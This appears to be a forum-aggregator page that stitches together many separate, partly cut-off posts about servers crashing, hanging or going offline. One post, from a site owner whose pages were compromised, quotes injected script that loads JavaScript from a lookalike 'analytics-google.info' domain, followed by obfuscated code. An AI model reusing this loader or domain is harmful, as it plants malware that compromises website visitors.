Randomly my server goes offline. There is no pattern to this. It can be fine for weeks then have 5 issues in one day. I have to restart Apache and it all come back on.
I'm not sure where to start to look for errors as I'm not that experienced.
Server Info
Windows Server 2008 R2 Standard Edition
PHP Version5.4.9
Apache VersionApache/2.4.1 (Win32)
MySQL version 5.0.10
I use apache 2.4.1 and mod_fcgid (same config form apache 2.2.22+mod_fcgid 2.3.6) and without any error message, apache stop responding randomly.There is no problem with apache 2.2.22+mod_fcgid 2.3.6 and with apache 2.4.1 + php5_module i have
View 19 Replies View Relatedmy local host is just taking incredibly long to load. At work I've set it up no differently and it works like a charm, but at home, it works.. But at times it doesnt load instantly until I restart my browser. I have to press refresh or enter to login a million times for it to load after the first few seconds I use it.
View 1 Replies View RelatedI am currently running apache 2.4.4 with Tomcat and randomly i receive the following error when i try to hit the external URL:
Bad Gateway
The proxy server received an invalid response from an upstream server
====================================================
Inside apachie error.log file., i also see the following error, i am not sure if they are related:
"The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed."
=====================================================
Here is my httpd.conf file: .....
I am trying to fix website [URL] .... I open the site like 20 times a day and like 2 times a day it shows blank page. Which logs I need to check or which tools to use? I have cpanel hosting, apache.
View 1 Replies View RelatedIm having a problem where local authentication will not work when when the configured LDAP server is unavailble. When the ldap server is online I can authenticate fine against ldap and local file. However, when the ldap server is offline, I cannot authenticate with the user1 account. The browser just sits at a blank screen.
Ive searched a lot on this and found many examples, all very similar to my config below, but I still cannot failback authentication to local file when ldap is unavailable. Im running Apache/2.2.10. I have also tested this on 2.2.16 with the same results.
=======.htaccess==========================
AuthName "Server Access"
AuthType Basic
AuthBasicProvider file ldap
AuthUserFile /etc/apache2/htpasswd
AuthzLDAPAuthoritative off
AuthLDAPURL ldap://ldap.domain.com:389/OU=Users,DC=domain,DC=com?sAMAccountName
[Code]...
server hanging randomly
this is logs that i found
what is wrong with my server?
Quote:
May 19 15:35:02 hostname kernel: eip: c02d331b
May 19 15:35:02 hostname kernel: ------------[ cut here ]------------
May 19 15:35:02 hostname kernel: kernel BUG at include/asm/spinlock.h:133!
May 19 15:35:02 hostname kernel: invalid operand: 0000 [#1]
May 19 15:35:02 hostname kernel: SMP
May 19 15:35:02 hostname kernel: Modules linked in: md5 ipv6 parport_pc lp
parport ipt_state ipt_TOS iptable_mangle ip_conntrack_ftp ip_conntrack_irc ip_c
onntrack ipt_REJECT ipt_LOG ipt_limit iptable_filter ipt_multiport ip_tables aut
ofs4 i2c_dev i2c_core sunrpc dm_mirror dm_mod button battery ac uhci_hcd ehci_hc
d snd_intel8x0 snd_ac97_codec snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd_pa
ge_alloc snd_mpu401_uart snd_rawmidi snd_seq_device snd soundcore 8139too mii sk
98lin ext3 jbd
May 19 15:35:02 hostname kernel: CPU: 1
May 19 15:35:02 hostname kernel: EIP: 0060:[<c02d357c>] Not tainted
VLI
May 19 15:35:02 hostname kernel: EFLAGS: 00010016 (2.6.9-42.0.10.ELsmp)
May 19 15:35:02 hostname kernel: EIP is at _spin_lock_irq+0x1d/0x35
May 19 15:35:02 hostname kernel: eax: c02e71c3 ebx: f5e6a934 ecx: c756be28 edx: c02d331b
May 19 15:35:02 hostname kernel: esi: f5e6a930 edi: 00000000 ebp: c756b000 esp: c756be2c
May 19 15:35:02 hostname kernel: ds: 007b es: 007b ss: 0068
May 19 15:35:02 hostname kernel: Process netstat (pid: 336, threadinfo=c756b000 task=cb03b330)
May 19 15:35:02 hostname kernel: Stack: ffffffff c02d331b cb03b330 f6481e98 f6481e98 00000246 00000002 f5e6a930
May 19 15:35:02 hostname kernel: f5e6a900 00000000 c756b000 c01652bf 00000000 00000000 00000000 c032e610
May 19 15:35:02 hostname kernel: c756bfc4 0000000b 0000000b c011d2e4 c014e529 ffffffff ffffffff c2015de0
May 19 15:35:02 hostname kernel: Call Trace:
May 19 15:35:02 hostname kernel: [<c02d331b>] rwsem_down_write_failed+0x32/0x160
May 19 15:35:02 hostname kernel: [<c01652bf>] .text.lock.exec+0xba/0xd7
May 19 15:35:02 hostname kernel: [<c011d2e4>] try_to_wake_up+0x28e/0x299
May 19 15:35:02 hostname kernel: [<c014e529>] do_no_page+0x2da/0x2f9
May 19 15:35:02 hostname kernel: [<c012b458>] __dequeue_signal+0x14c/0x155
May 19 15:35:02 hostname kernel: [<c012b476>] dequeue_signal+0x15/0x54
May 19 15:35:02 hostname kernel: [<c012cd3f>] get_signal_to_deliver+0x317/0x346
May 19 15:35:02 hostname kernel: [<c0105bd4>] do_signal+0x55/0xd9
May 19 15:35:02 hostname kernel: [<c01c3616>] __copy_to_user_ll+0x30/0x46
May 19 15:35:02 hostname kernel: [<c017553b>] seq_read+0x24a/0x2c2
May 19 15:35:02 hostname kernel: [<c0172c49>] dnotify_parent+0x1b/0x6e
May 19 15:35:02 hostname kernel: [<c015ae7d>] vfs_read+0xda/0xe2
May 19 15:35:02 hostname kernel: [<c015b06c>] sys_read+0x3c/0x62
May 19 15:35:02 hostname kernel: [<c011ae55>] do_page_fault+0x0/0x5c6
May 19 15:35:02 hostname kernel: [<c0105c80>] do_notify_resume+0x28/0x38
May 19 15:35:02 hostname kernel: [<c02d4966>] work_notifysig+0x13/0x15
May 19 15:35:02 hostname kernel: Code: 90 80 3e 00 7e f9 fa eb e8 89 d8 5b 5e c3 53 89 c3 fa 81 78 04 ad 4e ad de 74 18
ff 74 24 04 68 c3 71 2e c0 e8 24 f3 e4 ff 58 5a <0f> 0b 85 00 2e 62 2e c0 f0 fe 0b 79 09 f3 90 80 3b 00 7e f9 eb
May 19 15:35:02 hostname kernel: <0>Fatal exception: panic in 5 seconds
Everything was running ok until last week.
I haven't really done anything new other then added another forum on the server (Invision).
Basically the problem is the random spikes I get. The main forum that is running on the server haven't really increased in terms of sim connections. Its usually around 180 - 220 during peak times.
On TOP there is usually around 250 tasks. When this thing started happening it would spikes to 500+ tasks which totally kills the server. Its pretty random also. Sometimes it'll go fine for a few hours and then suddenly climbed slowly up and then the server dies. For now its going to crash whenever I let apache run for an hour or so.
The only way I can restore is to restart apache. It has come to the point where I've had to put in restart apache in the cronjob list. Restart it every few minutes since I'm not always here watching over it. This is obviously a shortterm solution to keep the forum up while I troubleshoot this.
Here's a screenshot when it was just about dead
http://img392.imageshack.us/my.php?image=serverwf0.jpg
I checked out the logs and didn't see anything.
I was either told it needed more ram or that it was hacked.
The JRE is the flashchat I'm running and the trans_linux is a bot for the shoutcast.
Since I haven't been doing anything new.. I don't think its the resources of the server thats too little.
The server i have is
Dual Opteron 252
2 gigs of ram
1 146GB 15,000RPM scsi drive
how I can resolve it? Is Apache using more memory then its suppose to?
Our servers will be offline next week for some hours (8 hours or more)
Is there a way to setup our DNS to send users to another server/domain (www2.mydomain.com) while first domain/server is offline?... like MX email setup... if first mx is down, try the second... ando so on... At least to show some message...
If DNS setup is not the solution what should I do? Change DNS Ips some hours after servers go offline? I guess this is not the best solution because DNS takes time to propagate...?
My server keeps going offline after hours of it been stable. I believe it is DoS attacks but I'm really unsure how to block them, would I need to get a firewall? if I do would this help the problem?
View 6 Replies View Relatedmy site <<snipped>> is not opening,
u can see here [url]
DNS server is offline
i hav vps from fdcservers
I have the same error mentioned in this old tread:
[url]
Once in a while the user have "Internal server error"
when accessing any php page.
The php is php v4 compile as fastcgi on Centos 5.
The warning/error sequins is always like this:
[Fri Apr 17 09:09:49 2009] [warn] FastCGI: (dynamic) server "/home/fastcgi-scripts/abc.fcgi" (pid 22726) termination signaled
[Fri Apr 17 09:09:49 2009] [warn] FastCGI: (dynamic) server "/home/fastcgi-scripts/abc.fcgi" (pid 22726) terminated by calling exit with status '0'
[Fri Apr 17 09:09:49 2009] [error] [client 127.0.0.1] FastCGI: incomplete headers (0 bytes) received from server "/home/fastcgi-scripts/abc.fcgi", referer:
[url]
it's starting to kill child processes and eventually stops/hangs.
#plesk version
Product version: 12.0.18 Update #45
Update date: 2015/05/08 03:13
Build date: 2015/01/26 15:00
Build target: CentOS 7
Revision: 334346
Architecture: 64-bit
Wrapper version: 1.2
#free -m
total used free shared buff/cache available
Mem: 3782 647 2281 45 854 2875
Swap: 2047 0 2047
I have a dedicated server with burst.net and it's been pretty good, well, it was, but more recently I've found it seems to be crashing every day, at least once. On the server I have created 2 VPS's, both have cPanel installed, however every day I am receiving emails from my server telling me that cPanel has crashed and the server has to have been rebooted, which seems odd.
I've contacted cPanel support before, numerous times now and everytime they tell me that they're looking into it, they update cPanel but the problem persists.
has anyone got any experience with this?
Server information:
2048MB Ram
2.8GHZ processor
centOS 5
hyperVM
Each VPS Has 1024mb ram assigned to it, and it doesn't seem to be a problem with ram that is causing it, because the VPS's never use more than 200MB of ram each. Each VPS was created in hyperVM with the "OpenVZ" type selected. Could there be a problem with my server, as in, hardware, or is this a software problem? Has anyone been through this experience before? I'm mighty confused about what's going on.
I have a brand new A8i server from 1&1 that has crashed twice today and could only be rebooted through the 1&1 control panel (not Plesk). Out of the blue the server is not accessible from the Plesk CP and is not responding to pings. I have looked through the logs and do not see anything that stands out (I am not very Linux savvy). Is there somewhere specific that I can look that would tell me why it is locking up/crashing? I have only had the server about 2 weeks and am only running email on it (no websites besides webmail and Plesk CP). It is possible that there is a hardware issue, but I cannot have 1&1 check it until after hours tonight.
Server is an 8 core Intel Atom 2.6GHz with 8GB RAM.
I am running Plesk Version: 12.0.18 on CentOS.Earlier today my service provider had a massive issue and my server was down for several hours. Upon it being back online i've restarted but now I cannot load any of my pages. I have 10 domains setup and if I ping their name servers or the server IP i get packets received now.
One of my installed domains is [URL] ... now if you try and load this url you get a time out but if you try to access admin page URL....None of the subscriptions are able to load their websites when i type in their URL and well it worked before it went down.
The problem is that it switches from running to mounted without me having anything to do with it. It seems to be quite randomly, for example this morning at 1.42 am. This happens once a day and stops my vps and therefore my website - which is quite annoying.
I checked for log files or anything, but there was nothing mentioning resources or anything.
Does anyone have a clue what this might be? If I cannot fix the problem there is still the opportunity to just start the vps once it goes to status mounted. How would I automate this?
I am using Virtuozzo and Plesk.
I just built a new pc, everything works well, but sometimes my computer will just restart randomly, it doesnt happen immedietly but randomly, within 30 or more minutes operating. Any ideas to why? and how i can fix it? ...
View 12 Replies View RelatedI am creating a web application, nothing spectacular just something to display content.
After completing a long night of coding, I uploaded my files to my server and checked to make sure everything was functioning correctly. Everything seemed fine so I went to bed.
The next morning, to my surprise, all my images had dissapeared! Well not all of them, just the ones being displayed through the PHP script. (coincidentally, these images where all in the same directory...)
Of course the first thought that went through my mind was "scripting error". Which surprised me, since everything worked perfectly the night before. I checked and double checked everything, and I couldn't find anything wrong. I checked the permissions on the directory holding the images and they appeared correct (755). So, to locate the problem I decided to strip out all the variables and create a test page that had only the SQL query, and a print to output the <img> code. Still nothing! So I decided to just go the HTML route and create a test file that held only the <img> code, no PHP involved... nothing.
The images are on the server. I double checked... if you right click > view image, it shows up. Then if you go back to the "test" page and refresh the image is there... however, it does not appear when you first load the page, or it appears and then immediately dissapears.
I contacted my host about the issue, and their first response said:
Quote:
Dear customer,
The images are there if you login through plesk control panel and go to
File Manager under your domain you can find the pictures and see
them.But some of them are not opening under your website.
Best Regards
Honestly... are you kidding me? Reiterating my question doesn't constitute as an answer. And they call themselves "engineers"...
Seeing as it appears to only be affecting one directory (and possibly only JPG images...? Have a look at the test pages above), I believe it might be a permissions issue.
Today we received an email saying that the admin password for the server had been changed by them and that we should log in and change the password again ourselves.
49pence have provided no explanation as to why the password was changed and despite multiple requests have refused to give any kind of explanation. I've also asked to speak to a manager and this request was denied (well, more ignored and I was given the same line that they cannot disclose why they changed a customers' password).
For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.
At random times, the code in these php pages gets replaced by something like:
HTML Code:
<script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>
Here's some debugging I have done.
1) If I rename login.php to say, log-in.php, the page gets saved from this
2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.
So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.
i am using curl in php and it showing time out error randomly!
Code:
Operation timed out with 0 out of -1 bytes received
maybe you say its remote server problem but i am geting this error from google server ,
Some of my Linux(WHM/Cpanel) hosted domains have a weird problem. They randomly become unavailable to me for periods of half hour to 2 hours. During this time I get a server not found error and I cannot access the domains through FTP either. However if I use a proxy or try to reach the domain through another server using RDC I am able to reach it.
View 4 Replies View RelatedThis problem has happened to me twice on the very same server. I can't seem to figure out what's wrong with it.
My raid controller is Areca 1160 + 1GB Ram + 16xWD4000YS. Initially I had the problem of the disk dropping from the array randomly. I suppose this problem has been fixed since I have upgraded disks firmware according to WDC suggestion.
But there's another problem now. From my observation, the controller is randomly dropped off the system. When this happen, I cannot read/write anything from the disk at all. I can SSH in and able to run Areca CLI tool to see what's going on but only to get the message saying that it cannot find any Areca controller.
My only option is to restart the server and fsck all those 16 disks (not fun). I checked the log on the RAID controller itself, there was no sign of problem at all. No alert, no disk being dropped off the array, no events logged at all.
I'm using CentOS 4.3. Firmware on the RAID controller is 1.41, latest is 1.42. (Stupid me for not upgrading firmware when server crashed.) I plan to take the server down for RAID firmware upgrade soon. I just hoped that it's just problem with the firmware, not the controller or backplane itself.
I have two dedicated linux servers with the planet and about an hour ago as I was testing a site on one I noticed it got terribly slow. I'm lazy sometimes and just assumed that I could fix the problem with a reboot so I went typed in the control panel address that ThePlanet.com uses for clients.
Behold, nothing. The site won't load and I noticed that theplanet.com won't load either. I am able to access my site still but its very slow, is anyone else noticing this? Is it a problem with my ISP?
My site - [url]
ThePlanet - [url]
I plan to set up offline backup on my old dedicated server. And old stuff might get problems so...
According to the info in DirectAdmin I have used aprox 14Gb space on the server, and I do not think of adding much more on it in the nearest future.
If I subscribe to a offline Backup service would it be a one to one ratio on the space needed, or should I calculate more or less space than I actually have. I see some offers 10Gb and others 15Gb packages as starters.
It looks as most people use rsync? Can it be set up with compression of the files, or would an ordinary backup be better/easier to restore. I'm here thinking not only of a full restore of the server but also on restoring of an single account/domain.
What about Databases? Are they easily backed up/restored as well?